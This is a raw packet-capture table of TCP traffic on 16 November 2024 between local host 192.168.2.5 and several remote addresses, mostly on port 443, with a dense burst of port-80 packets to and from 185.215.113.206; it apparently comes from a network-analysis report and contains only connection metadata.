Nov 16, 2024 13:01:38.796793938 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.798207045 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:38.798219919 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:38.799361944 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.799427032 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.799810886 CET	49887	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:38.799829960 CET	443	49887	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:38.800384998 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.800453901 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.803302050 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.803390980 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.806509018 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.806704044 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.807256937 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.807517052 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.819348097 CET	443	49866	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.819405079 CET	49866	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.833062887 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.833261967 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.833285093 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.834733963 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.834803104 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.835737944 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.835823059 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.835907936 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.835920095 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:38.863073111 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.863118887 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.863265991 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.863488913 CET	49888	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:38.863508940 CET	443	49888	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:38.873737097 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.873744965 CET	443	49867	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.873795986 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.873862028 CET	443	49868	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:38.942215919 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:38.977155924 CET	49867	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:38.977298021 CET	49868	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:39.010041952 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.010277033 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.010417938 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.021548033 CET	49870	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.021576881 CET	443	49870	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.026165962 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.026186943 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.026246071 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.026456118 CET	49889	443	192.168.2.5	108.156.211.19
Nov 16, 2024 13:01:39.026469946 CET	443	49889	108.156.211.19	192.168.2.5
Nov 16, 2024 13:01:39.026875019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.031966925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.044498920 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.045118093 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:39.045135021 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.048757076 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.048830032 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:39.050277948 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:39.050368071 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.050693035 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:39.050704956 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.082195997 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.082771063 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.082838058 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.083950996 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.084048986 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.093138933 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.093251944 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.094304085 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.094322920 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.143615007 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.143837929 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.143847942 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.144865036 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.144937038 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.146296024 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.146358013 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.146689892 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.146697044 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.146785975 CET	49869	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:39.146811008 CET	443	49869	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:39.166750908 CET	49890	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.166838884 CET	443	49890	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.166980982 CET	49890	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167078018 CET	49891	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167121887 CET	443	49891	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.167306900 CET	49891	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167393923 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167481899 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.167521954 CET	49893	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167562962 CET	443	49893	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.167572021 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167629004 CET	49893	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167830944 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.167855024 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.168168068 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.168617964 CET	49890	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.168653965 CET	443	49890	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.169101954 CET	49891	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.169116020 CET	443	49891	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.169194937 CET	49892	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.169224977 CET	443	49892	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.169492006 CET	49893	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.169508934 CET	443	49893	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.169796944 CET	49894	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:39.169822931 CET	443	49894	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:39.181505919 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.230087042 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.230961084 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:39.232434034 CET	49872	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:39.232454062 CET	443	49872	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:39.251601934 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.251878023 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.251902103 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.252686977 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.252891064 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.252901077 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.253396988 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.253482103 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.253554106 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.254594088 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.254693031 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.254705906 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.254813910 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.254853010 CET	49877	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.254909992 CET	49881	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.254925966 CET	443	49881	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.257644892 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.257900000 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.257922888 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.259677887 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.259911060 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.259928942 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.260504961 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.260735035 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.260741949 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.261240959 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.261260986 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.261296988 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.261426926 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.261648893 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.261730909 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.261908054 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.261965990 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.262330055 CET	49880	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.262337923 CET	443	49880	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.262459993 CET	49876	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.262465954 CET	443	49876	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.264300108 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.264365911 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.264755011 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.264925957 CET	49878	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.264926910 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.271861076 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.274538994 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.274736881 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.274744034 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.276211977 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.276302099 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.276659012 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.276736021 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.276783943 CET	49879	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:39.299336910 CET	443	49877	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.305250883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305284023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305329084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305341959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305351973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305385113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305430889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305449963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305459976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305469036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305553913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305562019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305563927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305574894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305597067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305613995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305628061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305636883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305643082 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305646896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305665016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305675983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305686951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305686951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305700064 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305711985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305721998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305732012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305777073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305777073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305793047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305808067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305818081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305828094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305838108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305876970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305886030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305886030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305886030 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305896997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305933952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305944920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305947065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305955887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305984020 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.305988073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.305994987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306005955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306015968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306058884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306058884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306173086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306189060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306200027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306216002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306226015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306236982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306247950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306257010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306258917 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306258917 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306268930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306279898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306289911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306334019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306334019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306386948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306396961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306411982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306423903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306433916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306444883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306488991 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306488991 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306493998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306504011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306514978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306524992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306571960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306642056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306700945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306723118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306737900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306746960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306756973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306766033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306776047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306786060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306792021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306801081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306808949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306808949 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306812048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306821108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306829929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306839943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306849003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306862116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306876898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306889057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306899071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306910038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306916952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306916952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306921959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.306971073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.306988955 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307007074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307023048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307033062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307043076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307053089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307063103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307065964 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307075024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307095051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307106018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307116032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307117939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307127953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307137966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307154894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307163954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307173014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307182074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307185888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307185888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307200909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307220936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307228088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307231903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307238102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307244062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307252884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307291985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307291985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307307959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307326078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307334900 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307337046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307349920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307398081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307404995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307451010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307451010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307564974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307575941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307585001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307600975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307611942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307621002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307631016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307641029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307650089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307658911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307663918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307677031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307686090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307696104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307708025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307717085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:39.307723999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307723999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307768106 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.307972908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:39.311331034 CET	443	49878	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.312500954 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.312658072 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.312956095 CET	49871	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.313024044 CET	443	49871	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.318077087 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.318115950 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.318504095 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.318701982 CET	49895	443	192.168.2.5	20.96.153.111
Nov 16, 2024 13:01:39.318721056 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:39.323328018 CET	443	49879	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:39.325031042 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:39.326713085 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:39.326770067 CET	443	49874	13.107.246.45	192.168.2.5
